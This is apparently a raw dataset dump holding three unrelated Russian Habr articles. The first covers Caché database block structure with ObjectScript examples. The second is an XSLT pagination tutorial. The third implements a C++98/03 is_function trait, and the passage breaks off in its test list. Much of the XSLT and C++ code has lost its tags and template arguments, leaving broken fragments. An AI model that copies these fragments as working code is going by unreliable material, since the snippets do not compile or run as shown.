text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Блоки. Внутреннее устройство файла базы данных Caché. Часть 2
Эта публикация – продолжение моей [статьи](http://habrahabr.ru/company/intersystems/blog/267951/), в которой я рассказал, как устроена база данных Caché изнутри. В ней я описал типы блоков, как они связаны, какое отношение имеют к глобалам. В той статье была теория. Я создал проект, позволяющий визуализировать дерево блоков – и в этой статье вы всё это увидите. Добро пожаловать под кат.
[](http://habrahabr.ru/company/intersystems/blog/268195/)
Для демонстрации я создал новую БД и очистил от всех глобалов, которые Caché инициализирует по умолчанию для вновь создаваемой БД. Создадим простой глобал:
```
set ^colors(1)="red"
set ^colors(2)="blue"
set ^colors(3)="green"
set ^colors(4)="yellow"
```
Обратите внимание на картинку, иллюстрирующую блоки созданного глобала. Глобал у нас простенький, поэтому мы, конечно, видим его описание в блоке типа 9 (блок каталога глобалов). Далее сразу идёт блок «верхнего и нижнего указателя» (тип 70), поскольку дерево глобала еще неглубокое, и можно сразу указывать ссылку на блок данных, все ещё умещающихся в один 8КБ блок.
Теперь запишем в другой глобал значений в таком количестве, чтобы они уже не смогли уместиться в один блок – и мы увидим, как в блоке указателей появятся новые узлы, которые будут ссылаться на новые блоки данных, которые не поместились в первый блок.
Мы запишем 50 значений длиной 1000 символов. Напомним, что размер блока нашей БД – 8192 байта.
```
set str=""
for i=1:1:1000 {
set str=str_"1"
}
for i=1:1:50 {
set ^test(i)=str
}
quit
```
Обратите внимание на следующую картинку:
На уровне блока указателей теперь у нас несколько узлов, которые ссылаются на блоки данных. В каждом блоке данных есть ссылки на следующий блок («правая ссылка»). Offset — указывает на количество байт занятых в этом блоке данных.
Теперь попытаемся смоделировать расщепление блока («block split»). Добавим в первый блок столько значений, чтобы был превышен общий размер блока 8КБ, что приведет к тому, что этот блок будет расщеплен на два.
**Пример кода**
```
set str=""
for i=1:1:1000 {
set str=str_"1"
}
set ^test(3,1)=str
set ^test(3,2)=str
set ^test(3,3)=str
```
Результат можно увидеть ниже:
Блок 50 был расщеплен, он дополнен новыми данными, а те значения, которые были из него вытеснены, теперь находятся в блоке 58. Ссылка на этот блок появилась в блоке указателей. Другие блоки не изменялись.
Пример с длинными строками
--------------------------
При записи строк длиннее чем 8КБ (размер блока данных) мы получим блоки «длинных данных». Можем смоделировать такую ситуацию, например, записывая строки размером 10 000 байт.
**Пример кода**
```
set str=""
for i=1:1:10000 {
set str=str_"1"
}
for i=1:1:50 {
set ^test(i)=str
}
```
Посмотрим на результат:
В результате структура блоков на картинке сохранилась, т.к. мы не добавляли новых узлов глобала, а только меняли значения. Но изменилось значение Offset (количество занятых байт) для всех блоков. Например, для блока №51 новое значение Offset стало 172, против 7088 в предыдущий раз. Понятно, что теперь, когда новое значение не может уместиться в блок, указатель на последний байт данных должен был бы поменяться, но где теперь хранятся наши данные? На данный момент в моём проекте пока не реализована возможность отображения информации о «больших блоках». Давайте обратимся к утилите ^REPAIR для отображения информации о новом содержимом блока №51.
Остановлюсь поподробнее на том, что показывает нам данная утилита. Мы видим ссылку на правый блок №52, этот же номер был указан в родительском блоке указателей у следующего узла. Cортировка глобала – тип 5. Количество узлов с большими строками – 7. В некоторых случаях блок может содержать как значения данных для некоторых узлов, так и длинные строки для других, все в пределах одного блока. Так же мы видим какую глобальную ссылку следует ожидать в начале следующего блока (Next Pointer Reference).
Про блоки длинных строк: здесь мы видим, что в качестве значения для глобала указано ключевое слово BIG, что говорит нам, что данные на самом деле в «больших блоках». Далее на той же строке видим общую длину содержащейся строки, и список блоков которые хранят это значение. Можем попробовать взглянуть на «блок длинных строк», под номером 73.
К сожалению, этот блок выводится нерасшифрованным. Но здесь мы можем заметить, что после служебной информации из заголовка блока (который всегда имеет длину 28 байт) идут введенные нами данные. И зная, какие данные, несложно расшифровать то, что указано в заголовке:
| | | | |
| --- | --- | --- | --- |
| Позиция | Значение | Описание | Подробнее |
| 0-3 | E4 1F 00 00 | смещение, указывает на конец данных | получается 8164 плюс 28 байт заголовка равно 8192 байт,
блок заполнен полностью. |
| 4 | 18 | тип блока | значение 24, как мы [помним](http://habrahabr.ru/company/intersystems/blog/267951/) — это тип для блока больших строк. |
| 5 | 05 | сортировка | сортировка 5, это «стандартные Caché» |
| 8-11 | 4A 00 00 00 | правая связь | здесь получилось 74,
как мы помним наше значение хранится в 73 и 74 блоке |
Напомню о том, что данные в блоке 51 занимают только 172 байт. Это случилось в момент, когда мы сохранили большие значения. Выходит, что блок стал почти пустой — полезных данных 172 байта, а занимает 8кб! Понятно, что в такой ситуации свободное место будет со временем заполнено новыми значениями, но так же Caché предоставляет нам возможность сжать такой глобал. Для этого в классе [%Library.GlobalEdit](http://docs.intersystems.com/cache20152/csp/documatic/%25CSP.Documatic.cls?APP=1&LIBRARY=%25SYS&CLASSNAME=%25Library.GlobalEdit) есть метод CompactGlobal. Для того чтобы убедиться в эффективности этого метода, повторим наш пример, но с большим объемом данных, например создав 500 узлов.
**Вот что у нас получилось.**
```
kill ^test
for l=1000,10000 {
set str=""
for i=1:1:l {
set str=str_"1"
}
for i=1:1:500 {
set ^test(i)=str
}
}
quit
```
Ниже мы отобразили не все блоки, но смысл должен быть понятен. У нас много блоков с данными, но с небольшим количеством узлов.
Выполняем метод CompactGlobal:
```
w ##class(%GlobalEdit).CompactGlobal("test","c:\intersystems\ensemble\mgr\habr")
```
Посмотрим на полученный результат. Блок указателей у нас теперь имеет только 2 узла, т.е. наши значения все ушли в два блока данных, тогда как раньше у нас было 72 узла в блоке указателей. Таким образом мы избавились от 70 блоков, сократив, тем самым, время доступа к данным при полном обходе глобала, так как потребуется меньше чтений блоков.
CompactGlobal принимает на вход несколько параметров, такие как, имя глобала, базы данных и процент заполнения, который мы хотим получить, со значением по умолчанию 90. И теперь мы видим, что Offset (количество занятых байт) стало равным 7360, что составляет примерно те самые 90% заполнения. Несколько параметров функции выходные: сколько мегабайт обработано и количество мегабайт после сжатия. Ранее сжатие глобалов осуществлялось, с помощью утилиты ^GCOMPACT, которая на данный момент считается устаревшей.
Стоит заметить, что ситуация, при которой блоки могут оставаться не полностью заполненными, является вполне нормальной. Более того, сжатие глобала не всегда может быть желательным. Например, если у вас глобал чаще читается и практически не меняется, то сжатие может помочь. Но если глобал активно изменяется, то определенная разреженность в блоках данных поможет реже расщеплять блоки, и запись новых данных будет происходить быстрее.
В следующей части я расскажу про ещё одну возможность моего проекта, которая была реализована в рамках недавно прошедшего [хакатона](http://habrahabr.ru/company/intersystems/blog/267459/) на школе InterSystems – о карте распределения блоков базы и её практическом применении. | https://habr.com/ru/post/268195/ | null | ru | null |
# Пагинатор (постраничная навигация) на XSLT
Время от времени всплывает умирающая технология XSLT и задаёт непростые вопросы. Как, например, взять максимум от 2 чисел в выражении или как организовать цикл. Соединением многих таких вопросов служит пагинатор — вывод навигации по нескольким страницам и, по возможности, удобный. На Javascript есть много примеров простых и удобных пагинаторов. Но если страницы с сервера выдаются в XML, то возникает крамольная мысль: почему бы всё оформление страниц, включая пагинатор, не сделать на статике, в XSLT? Ничего, что в эту статику можно включить JS и сделать всё проще. Кошерный подход лёгких путей не ищет.
### Плюсы и минусы XSLT
Вместо одной строчки на JS нужно писать десяток строчек рекурсии с рядом особенностей. Пусть это минус. Тем не менее, задача эта выполнима, значит, когда-то где-то всплывёт такое решение.
В Сети очень ценятся ответы, похожие на вопросы о том, как сложить 2 числа: "[Как комментировать XSLT так, чтобы комменты из HTML не удалялись](http://stackoverflow.com/questions/4410536/how-to-comment-in-xslt-and-not-html)". Значит, при наличии минимальных знаний репутация на SO вам будет обеспечена.
За годы существования XSLT многие браузеры, кроме очень старых и простых, наработали умение обрабатывать XML+XSLT. Этим можно пользоваться, перекладывая работу с сервера на клиентов (браузеры), пусть даже лишними сотнями строк трудно понимаемого декларативного кода.
Часто декларативность — это хорошо. Набор правил, как в CSS, легче понимается и используется. Но начинать писать рекурсивные процедуры на декларативном языке с родовыми проблемами синтаксиса — это занятие для гиков и людей, попавших в безысходную ситуацию. Поэтому целей у статьи две — почитать и поиграться на досуге — для гиков, а взять работающий пример и настроить его под себя — для людей.
На Хабре подобная тема поднималась здесь: [habrahabr.ru/post/138740](http://habrahabr.ru/post/138740/) (реализация пагинатора).
### Что нужно от пагинатора
От XML он получает только номер текущей страницы и (возможно) номер последней страницы списка. Всё остальное настраивается в статике пагинатора в \*.xsl. «Остального» немного, как будет видно из постановки. Всего лишь число ссылок вокруг ссылки на текущую страницу. Но потом добавилось расширение — вывод следующих страниц через десятки или другой интервал. Это показалось хорошей иллюстрацией возможностей пагинатора.
1) выводить текущую страницу (со ссылкой, если требуется иногда обновление её самой или без ссылки);
2) выводить несколько ссылок соседних страниц вокруг (до и после текущей);
3) первую и последнюю (крайние) страницы, если они не попали в «соседние»;
4) троеточие, если между соседними и крайней есть непоказанные страницы;
5) опционально — ссылки на троеточиях, чтобы перейти примерно на середину непоказываемого промежутка страниц;
6) если часть ссылок не выведена, потому что встретились края, добавить невыведенное количество ссылок с другой стороны ссылки текущей страницы. Другими словами — показывать, если есть, что показывать в пределах заданного количества ссылок. Например, показываем 5 ссылок «до» и 5 «после», но при просмотре третьей страницы отображается 2 ссылки «до». Значит, показать 8 ссылок «после», если такие найдутся (не выйдут за пределы максимального числа страниц).
(Это требование выполнено частично — выводятся лишние ссылки справа, когда номер страницы — возле первой и выводится только половина списка, если номер страницы близок к максимальному. Это связано с тем, что потребовало бы большой переделки логики и усложнения выражений, а цели такой строго не стояло.)
7) наконец, двойное использование функции пагинатора — вывод страниц через десятки (или пятёрки, всё настраивается) вслед за первыми. Может быть полезно, если надо быстро перейти вглубь очень большого списка, на десятки страниц, а находимся обычно на первых страницах. Если указана концевая страница, список десятков не выводится.
### Окунёмся в дао XSLT
Чтобы рассказ оказался полезным, построим его в виде обучения приёмам программирования на этом декларативном языке. Будем строить пагинатор, от простых моделей до всё более сложных.
За основу построения возьмём некоторый файл логов, которые часто встречаются у веб-администраторов и которые приходится просматривать. Чтобы просматривание было удобным, а затраты на программирование — небольшие, выдаём логи постранично в XML, а всё оформление возлагается на клиентские технологии, включая клиентский XSLT.
Как упоминалось, пагинатор естественнее делать на процедурном языке. Но и XSLT справляется с этой задачей, выполняет всё требования постановки. В интернете разбросано множество примеров реализации и даже один встретился на Хабре. Но примеры без пояснений правил построения приводят к тому, что реализацию приходится делать самостоятельно, начиная с основ. Данный пример — попытка дать пример законченного и функционального пагинатора, для которого есть надежда, что подключение будет простым, а управление им — задокументированным.
Пока записей в нашем логе порядка 500, самый простой способ пагинации — просто вывести 10 ссылок на странице и вручную записать им номера страниц на HTML, вида:
```
2
```
Если их немного больше 500 или глубже записи смотрятся редко, достаточно приписать формочку ввода номера страницы. Тоже выход. Это не потребует углубления в XSLT и делается в xsl-файле на общих основаниях.
```
xml version="1.0"?
Someone Log
body{
..../\* стили для страницы, скрипты, в которых заменены некоторые символы на сущности \*/
}
...
| ip + # | path | browser | accType | fileName | settings | date |
| --- | --- | --- | --- | --- | --- | --- |
|
| |
| | |
|
|
1
2
3
...
```
Первая же незадача — затруднительно даже написать класс текущей страницы, чтобы как-то её выделить или дезактивировать. Нет проблем, есть JS для этого. Но в планах — написание ссылок на XSLT. Поэтому нехотя, но посмотрим, как пишут этот странный цикл на 10 строчек и организуем для начала вывод списка ссылок на XSLT.
Создаём рекурсивную функцию. Из тела шаблона вызывают шаблон-функцию. Все папраметры для неё надо передавать — это независимые пространства имён, поэтому нельзя, как в обычных языках, определить глобальные области видимости.
```
...
====== в тексте страницы, вместо 10 ссылок ======
```
====== функция-цикл - исполнение с концевой рекурсией ======
параметр (переменная) цикла
**Ура, мы сделали цикл!** 5 строчек вызова и 15 строчек функции сделали своё дело — мы можем отмечать текущую ссылку и не писать 30 строчек HTML! Это — достижение, первый шаг к покорению пагинации. И ничего, что на JS мы обошлись бы 5 и читалось бы лучше. Главное — привыкнуть, а дальше будет просветление.
Для укорочения кода на штук 8 строчек сделан трюк — для задания класса не записан блок choose-when-otherwise, а дописывается 1 или 0 к слову «active», таким образом, «active1» = класс ссылки текущей страницы.
На этом участке видны особенности языка: параметры, заданные по умолчанию, можно не задавать при вызове; в рекурсии обязательно перечисление всех нужных параметров. select="$i + 1" — ключевое место, благодаря которому двигается цикл, а test="$i <= $nLinks — место, благодаря которому он прекращается.
< — необходимость писать так некоторые символы (<, >, &, /) по особенностям языка.
Если число страниц переменное и задаётся числом в элементе , достаточно написать
```
```
### Симметричные ссылки «до» и «после»
Следующая задача: вывести ограниченное число ссылок, половина которых будет идти до ссылки текущей страницы, а вторая половина — после. Используем переменные для тех выражений, которые многократно повторяются. Прокручиваем цикл по интервалу, но не выводим ссылки для номеров, меньших 1. Для чётного количества ссылок считаем, что ссылок «до» будет на 1 больше (скорее всего, это число всегда будет задано нечётным, но протестировать надо для всех случаев).
Для реализации понадобился дополнительный параметр «to», в котором будет храниться максимальный номер страницы и передаваться по рекурсии.
```
Страницы:
http://37.230.115.43/actions/last.xml?page=
текущая страница
сколько ссылок в пагинаторе
```
Не хватает 2 вещей: ссылки на первую страницу, когда нужно, и вывода полного числа ссылок, а не половинного, когда находимся на первой странице. Добавляем перед вызовом функции проверки, когда надо выводить ссылку «1», а когда — троеточие, означающее пропуск части ссылок страниц.
В функцию добавляем счётчик, который считает, сколько в реальности добавлено ссылок, чтобы остановить цикл по достижению $nLinks, а не как сейчас, по количеству $nLinks.
Решение со счётчиком — простое. Этим решением закладывается пара логических бомб, решать которые придётся позже.
1) цикл может никогда не закончиться; ну, это просто, введём ещё контрольный счётчик с числом, скажем, 50, на всякий случай; хм, уже 2 счётчика. Решение не такое красивое, как казалось;
2) начало страниц легко просчитаем, а вот вблизи конца списка страниц — понадобится предугадывать, сколько номеров зайдёт за край допустимого и не будет показано. Но не всё сразу.
Так отмечается (условно) первая страница.
```
[1]({concat($url, 1)})
[...]({concat($url, floor(($pn2 +1) div 2) )} "{floor(($pn2 +1) div 2)}")
```
На ссылке на троеточии выведена примерно срединная ссылка непоказанного интервала, указываемая в подсказке. Например, показ ссылок начинается с 60-й страницы — 30-я или 29-я будет создана на троеточии. Ссылка без показа числа — лаконичнее, полезнее и совершенно не требует дополнительного места. Троеточия не выводятся, если ссылки показываются, начиная со второй.
### Защиты
От разработчика, который начнёт что-то менять в параметрах и случайно задаст, например, минус миллион — ограничиваем число рекурсий, введя параметр *stop*, равный 50. С ним пагинатор не совершит более 50 итераций.
### Пагинация через интервал (пункт 7)
Когда каркас написан, остальные «фичи» добавляются легко (конечно, если разработчик уже в курсе технологий). Чтобы это продемонстрировать, в конечный пагинатор добавим возможность вывода ссылок с интервалом в несколько страниц. иногда это нужно для навигации, иногда — для счёта не страниц, а записей на страницах. Это будет немного нецелевое использование пагинатора, потому что он настроен на вывод ссылок «до и после», а для вывода через интервал это проявится. Но вместо того, чтобы писать новый пагинатор или корректировать этот на нецелевое использование, проще правильно подобрать начальный параметр его, а именно — прибавить floor($n2 div 2). С этой оговоркой и с добавленным параметром *step* пагинатор начинает работать.
***Продолжение следует***, но если читатель пожелает посмотреть и использовать готовый пагинатор, он лежит по адресу [spmbt.github.io/spmbt/wk/37.20.115.43.xml](http://spmbt.github.io/spmbt/wk/37.20.115.43.xml). Адреса и ссылки на странице лога изменены, совпадения случайны. Переключатель по страницам деактивирован, поскольку это — статический пример, всегда находящийся на 9-й странице. Но вверху видим пагинатор, построенный через [spmbt.github.io/spmbt/wk/37.20.115.43.xsl](http://spmbt.github.io/spmbt/wk/37.20.115.43.xsl). Строки, относящиеся непосредственно к пагинатору:
**код XSLT**
```
xml version="1.0"?
...
Страницы:
#page=
текущая страница
сколько ссылок в пагинаторе
последняя (если есть; а если нет, то здесь будет пустая строка)
[1]({concat($url, 1)})
[...]({concat($url, floor(($pn2 +1) div 2) )} "{floor(($pn2 +1) div 2)}")
[...]({concat($url, $pLast - floor(($pLast - $pp2) div 2) )} "{$pLast - floor(($pLast - $pp2) div 2)}")
```
. На основной код ушло 85 строк — это хороший результат, при том, что выполняется 2 цикла — по страницам и по десяткам страниц, задействованы троеточия со срединными ссылками. Поддерживается в IE8+ и остальных современных браузерах. | https://habr.com/ru/post/174977/ | null | ru | null |
# Другая реализация метафункции is_function<T> для C++98/03
Это небольшой отчет о том, как я решил написать метафункцию is\_function для С++98/03, таким образом, чтобы не нужно было создавать множество специализаций для разного количества аргументов.
Зачем, спросите вы, в 2016 году вообще подобным заниматься? Я отвечу. Это challenge. Кроме всего прочего, эта, сперва чисто теоретическая работа из разряда «возможно или нет», вскрыла некоторые проблемы в современных компиляторах. Всех, кому не чуждо подобное настроение, приглашаю взглянуть.
[Постановка](#intro)
[Немного теории](#theory)
[Реализация №0](#impl_0)
[Реализация №1](#impl_1)
[Реализация №2](#impl_2)
[Вместо заключения](#final)
Постановка
----------
Метафункция `is_function` возвращает `true` если тип `T` является типом «функция», и `false`, если нет. Итак, нам требуется написать метафункцию без использования многочисленных специализаций для разного количества типов аргументов у исследуемого типа функции. На пример реализации со специализациями вы можете посмотреть в [boost](http://www.boost.org/doc/libs/1_60_0/boost/type_traits/detail/is_function_ptr_tester.hpp). На данный момент там 25 аргументов максимум и занимает все это достаточно много места.
Зачем делать специализации? В С++11 появилось замечательное средство — *variadic templates*. Появилось оно потому что назрело, можно сказать, наболело. Это средство позволяет обрабатывать вот такие последовательности аргументов шаблона
```
some_template
```
как единый «пакет» параметров, parameter pack. Parameter pack помогает делать обобщенные специализации, перегрузки и подстановки в случаях, когда количество аргументов неизвестно. Именно с помощью этого средства в С++11 реализуется is\_function. В С++98/03 такого средства не было. Это значит, что в общем случае, если нам необходимо было обеспечить разное количество аргументов в зависимости от ситуации, приходилось делать перегрузки и специализации «на все случаи жизни». Если вы посмотрите на реализации таких библиотек как *variant* или *mpl* в boost, то убедитесь в изобилии подобного кода (иногда его генерируют препроцессором). Если нам требовалось определить, является ли тип `T` функцией `R(A1, A2)`, то самым простым и очевидным решением было создать соответствующую специализацию:
```
template
struct is\_function { /\* .... \*/ };
template
struct is\_function { /\* .... \*/ };
```
Зачастую, сделать по-другому было просто невозможно. Не хочу чтобы вы думали, будто бы я недоволен реализацией в boost – их решение наиболее переносимо, поэтому наиболее правильно, особенно в контексте такой библиотеки. Но мне было интересно в поставленной задаче обойтись без этого.
В общем, я один из тех, кому не повезло (хотя это как посмотреть) по долгу службы все еще работать с C++03. Поэтому моя озабоченность совместимостью со старым кодом не должна вас удивлять. Кто-то может сказать: «да далось тебе это старье, на дворе 2016 год!». С этим можно согласиться, но, кроме чисто субъективного ощущения соревнования, получилось извлечь из этого и определенную пользу. Да и дух С++03, в силу обозначенных выше причин, все еще не успел выветриться. Поэтому так, just for fun.
Прежде, чем мы перейдем к описанию, хочу предупредить, что от читателя потребуется понимание что такое [SFINAE](http://en.cppreference.com/w/cpp/language/sfinae) и базовых принципов написания compile-time проверок, а также я не стану точно переводить формулировки из стандарта. Предполагаю, что заинтересованный читатель, при желании, в состоянии справиться с этим самостоятельно.
Немного теории
--------------
Если классический подход со специализациями нас не устраивает, то как же тогда быть? Давайте попробуем подумать немного иначе. Какие есть свойства у типа функции, которых более нет у других? Обратимся к стандарту (С++03):
**4.3/1**
> An lvalue of *function type T can be converted to an rvalue of type “pointer to T.”* The result is a pointer to the function.
Итак, функция может быть неявно преобразована в указатель на функцию. Такое же свойство есть у массивов: массив неявно преобразуется в указатель. Посмотрим что есть еще:
**8.3.5/3**
> After determining the type of each parameter, *any parameter of type* “array of T” or *“function returning T” is adjusted to be* “pointer to T” or *“pointer to function returning T,”* respectively.
Это значит, что тип «функция», будучи указанным как параметр другой функции, неявно приобретает свойства указателя. На основе этого, в параграфе **13.1**, описано, что вот такая декларация
```
void foo(int ());
```
соответствует такой (т.е. это одно и то же):
```
void foo(int (*)());
```
Вот это мы уже можем использовать. Мы можем написать проверку на основе этого и определить функция перед нами или нет. Впрочем все не так просто, как кажется, но об этом позже. А пока давайте посмотрим что еще можно использовать, основываясь на типе «функция»:
**8.3.4/1**
> In a declaration T D where D has the form
>
> D1 [ constant-expressionopt]
>
> and the type of the identifier in the declaration T D1 is “derived-declarator-type-list T,” then the type of theidentifier of D is an array type. T is called the array element type; *this type shall not be a reference type, the (possibly cv-qualified) type void, a function type or an abstract class type.*
Ага, это тоже интересно. Т.е. мы не можем получить массив из элементов типа «функция». Наравне с этим, мы не можем получить массив ссылок, массив `void` и массив с элементами типа абстрактного класса. Если написать проверку, которая отсечет остальные варианты, то мы сможем точно определить функция перед нами, или нет.
*Резюмируем. У нас есть две отличительные особенности функций. Тип «функция»
* «мутирует» в указатель, если используется в качестве типа аргумента другой функции
* не позволяет создавать массивы с элементами своего типа
Эти свойства мы и будем использовать в реализации задуманного.*
Реализация №0, предварительная
------------------------------
Я хочу начать с первой особенности типа «функция», которую мы обозначили в предыдущем разделе. Речь о [8.3.5/3](#8_3_5_3).
Кратко сформулировать можно так: проверяемый тип `F` является функцией, если выполняется равенство
`void( F ) == void( F * )`.
Все это довольно просто звучит. И моя первая реализация была тоже достаточно простой. Простой, но неверной. По этой причине я не буду приводить ее полностью, но хочу отдельно рассказать об одном свойстве, которое я в ней использовал. Рассмотрим вот такой код.
```
template
static void (\* declfunc() )( F );
template
static void (\* gen( void (F \*) ) )( F );
template
static void (\* gen( void (F ) ) )( F \* );
```
Забегая вперед, скажу, что этот код исходит из ошибочных предпосылок. Но компиляторы Clang (до версии 3.4 включительно), компиляторы GCC (до версии 4.9), компиляторы из состава VS (cl 19.x, может и более ранние) собирали его так, как я ожидал. Расскажу, каким образом это работает и как я планировал это использовать. Для начала напишем объявление функции, которое поможет нам в проверках:
```
template
static char (& check\_is\_function( X ) )
[
is\_same::value + 1
];
```
Если тип, переданный в check\_is\_function, совпадает с `void(*)( F )`, то функция возвращает ссылку на массив из двух `char`, eсли не совпадает — из одного `char` (тип возвращаемого значения мы потом сможем проанализировать с помощью `sizeof`). Везде здесь принимаем, что `F` – это тип, который мы исследуем на принадлежность к типу «функция». Теперь, если оформить это в простой шаблон,
```
template
struct is\_function
{
template
static char (& check\_is\_function( X ) )
[
is\_same::value + 1
];
enum
{
value = sizeof( check\_is\_function( gen( declfunc() ) ) ) - 1
};
};
```
мы сможем удостовериться, что на упомянутых выше компиляторах для выражения вида
```
is_function::value;
is\_function::value;
typedef void fcv() const;
is\_function::value;
```
мы получим результаты 1, 0 и 1 соответственно (полный код можно найти [здесь](https://github.com/wanderhq/ct_examples/blob/master/src/is_function_0.cpp), а запустить [здесь](http://melpon.org/wandbox/permlink/fJkjJ4um9XWxFZFz)). Да, это не полностью рабочее решение, здесь мы не отличаем указатели на функции от функций, есть проблема со ссылками, `void` и т.д. Но это все просто обходится и акцентировать внимание я хотел бы не на этом. Если мы запустим этот же пример на компиляторах новее указанных (GCC >= 4.9, Clang >= 3.5, cl 19.x), то убедимся, что вывод изменился. Теперь мы получим результаты 1, 0, 0 соответственно. Происходит это потому, что тип функции с *cv-qualifier-seq* (это тот самый `const` или `volatile` в конце), который подставлен в тип другой функции (приобретая при этом свойства указателя), перестал быть верной подстановкой аргумента в варианте:
```
template
static void (\* gen( void (F \*) ) )( F );
```
Почему? Потому что с внедрением нового стандарта, в котором ясно написано (последний черновик),
**8.3.1/4**
> Forming a pointer to function type is ill-formed if the function type has cv-qualifiers or a ref-qualifier;
изменился и подход компиляторов к подобному коду. Добавление звездочки к такому типу — это неверная подстановка, поэтому код перестал работать. В С++03 не было столь же четкого правила (почитать об изменениях можно [здесь](http://www.open-std.org/jtc1/sc22/wg21/docs/cwg_defects.html#1417)). Что, разумеется, не означает, что там это должно было быть разрешено. Однако туманность формулировок стандарта оставила возможность пропустить этот момент, о чем и написано по приведенной ссылке:
> It is not sufficiently clear from the existing wording that pointers and references to function types containing cv-qualifiers or a ref-qualifier are not permitted and thus would result in a deduction failure if created during template argument substitution.
Поэтому многие современные компиляторы до сих пор этого не учитывают (например cl 18.x или icc 13.x и 14.x). Внимательный читатель наверное уже задался вопросом, что если явное добавление звездочки к типу «функции с *cv-qualifier-seq*» не разрешено, то неявное, при указании такого типа в качестве параметра, тоже не должно быть доступно. Да, вероятно это так. *Однако, на данный момент, нет ни одного компилятора, который бы это явно запрещал.*
В стандарте С++03 есть такое:
**8.3.5/4**
> A cv-qualifier-seq shall only be part of the function type for a nonstatic member function, the function type to which a pointer to member refers, or the top-level function type of a function typedef declaration.
Это говорит нам о достаточно узком контексте применения типов функций с *cv-qualifier-seq*. И наш случай вроде бы туда не вписывается.
*Поэтому, будем держать в голове, что код, построенный на основе «мутации» типа функции в указатель, не будет работать для всех случаев, но раз на данный момент он все-таки работает, я покажу полное решение. Думаю, это послужит пищей для размышлений о несовершенности мира.*
Реализация №1, рабочая
----------------------
Эта реализация была доработана с учетом ограничений, описанных в предыдущем разделе. Скорее всего (я не уверен на 100%, но на это многое указывает) эта реализация не полностью соответствует стандарту, и то, что она все-таки работает должно послужить поводом отправки багрепортов в поддержку как минимум трех современных компиляторов.
Основная проблема предыдущей реализации в том, что в случае функции с *cv-qualifier-seq* перестала работать подстановка с указателем. К счастью, в этой проблеме спрятан ключ к ее решению. Мы можем написать SFINAE-проверку, которая определит, возможно ли подставить к переданному типу указатель. Таким образом мы отсечем варианты, когда это невозможно. Проверка выглядит так:
```
template
struct may\_add\_ptr
{
template
static char (& may\_add\_ptr\_check(P \*) )[2];
template
static char (& may\_add\_ptr\_check(...) )[1];
enum
{
value = sizeof( may\_add\_ptr\_check(0) ) - 1
};
};
```
Если подстановка `P*` неверна, то выбирается перегрузка с эллипсисом. В зависимости от выбранной перегрузки `sizeof` от возвращаемого значения вернет либо 1, либо 2. Вычитанием единицы мы добьемся значения `value` 0 или 1, где 1 получается в случае, если к типу возможно подставить указатель, и 0, если невозможно (далее я буду пользоваться этим приемом таким же образом). Теперь у нас есть возможность сформировать тип указателя на функцию, основываясь на этой проверке. Мы можем поступить разными способами — на основе перегрузки или специализации. Я покажу способ на основе перегрузки, т.к. он более переносим.
```
template
static typename enable\_if<
may\_add\_ptr::value == 1, void (\*)(typename remove\_reference::type \*)
>::type declfunc();
template
static typename enable\_if<
may\_add\_ptr::value == 0, void (\*)(typename remove\_reference::type )
>::type declfunc();
```
Итак, мы сформировали тип `type` – указатель на функцию, параметром которой является другой тип. Это тот тип, который мы исследуем на принадлежность к типу «функция». Итак, если
`declfunc() == void(\*)( F )`
то наш тип `F` – функция. Удаление ссылки (`remove_reference`) нужно обязательно, в этом случае мы автоматически получим неравенство в случае, если
`F = R(&)(Args)`, или `F = T &`
т.к. после всех подстановок сравниваться будут следующие типы:
`void(*)( R(*)(Args) )` и `void(*)( R(&)(Args) )`
или
`void(*)( T )` и `void(*)( T & )`
соответственно. Эти типы, очевидно, не совпадают, что нам и требуется.
В случае же, если тип `F` – функция вида `R(Args)`, то сравниваться будут
`void(*)( R(*)(Args) )` и `void(*)( R(Args) )`.
Эти типы равны, исходя из вышеприведенных положений стандарта ([8.3.5/3](#8_3_5_3)).
В случае, если `F` – функция вида `R(Args) const`, то сравниваться будут
`void(*)( R(Args) const )` и `void(*)( R(Args) const )`.
Эти типы тоже равны, что нам и требуется.
В случае, если `F = T` (не функция), то сравниваться будут
`void(*)( T * )` и `void(*)( T )`.
Эти типы не равны, что нам и требуется.
Теперь нам нужно собственно сравнить типы. Есть одно но, мы не можем здесь использовать обычную проверку на основе `is_same`, т.к. аргументом нашей `is_function` может быть и абстрактный тип, использование которого в этом контексте приведет к ошибке компиляции. Поэтому мы заменим `is_same` на SFINAE-проверку следующего толка:
```
template
static char (& is\_function\_check( void( F ) ) )[2];
template
static char (& is\_function\_check( ... ) )[1];
```
Воспользуемся которой мы так:
```
value = sizeof( is_function_check( declfunc() ) ) - 1;
```
**Полный код выглядит так.**
```
template
struct is\_function
{
private:
template
struct may\_add\_ptr
{
template
static char (& may\_add\_ptr\_check(X \*) )[2];
template
static char (& may\_add\_ptr\_check(...) )[1];
enum
{
value = sizeof( may\_add\_ptr\_check(0) ) - 1
};
};
template
static
typename enable\_if<
may\_add\_ptr::value == 1, void (\*)(typename remove\_reference::type \*)
>::type declfunc();
template
static
typename enable\_if<
may\_add\_ptr::value == 0, void (\*)(typename remove\_reference::type )
>::type declfunc();
template
static char (& is\_function\_check( void( F ) ) )[2];
template
static char (& is\_function\_check( ... ) )[1];
public:
enum
{
value = sizeof( is\_function\_check( declfunc() ) ) - 1
};
};
```
Для проверки того, что этот шаблон действительно работает, давайте напишем тестирующий макрос.
```
#define TEST_IS_FUNCTION(Type, R) \
std::cout << ((::is_function::value == R) ? "[SUCCESS]" : "[FAILED]") \
<< " Test is\_function<" #Type "> (should be [" #R "]):" \
<< std::boolalpha \
<< (bool)::is\_function::value << std::endl
```
И запустим на следующем**наборе тестов.**
```
struct S { virtual void f() = 0; };
int main()
{
typedef void f1() const;
typedef void f2() volatile;
typedef void f3() const volatile;
TEST_IS_FUNCTION(void(int), true);
TEST_IS_FUNCTION(void(), true);
TEST_IS_FUNCTION(f1, true);
TEST_IS_FUNCTION(void(*)(int), false);
TEST_IS_FUNCTION(void(&)(int), false);
TEST_IS_FUNCTION(f2, true);
TEST_IS_FUNCTION(f3, true);
TEST_IS_FUNCTION(void(S::*)(), false);
TEST_IS_FUNCTION(void(S::*)() const, false);
TEST_IS_FUNCTION(S, false);
TEST_IS_FUNCTION(int, false);
TEST_IS_FUNCTION(int *, false);
TEST_IS_FUNCTION(int [], false);
TEST_IS_FUNCTION(int [2], false);
TEST_IS_FUNCTION(int **, false);
TEST_IS_FUNCTION(double, false);
TEST_IS_FUNCTION(int *[], false);
TEST_IS_FUNCTION(int &, false);
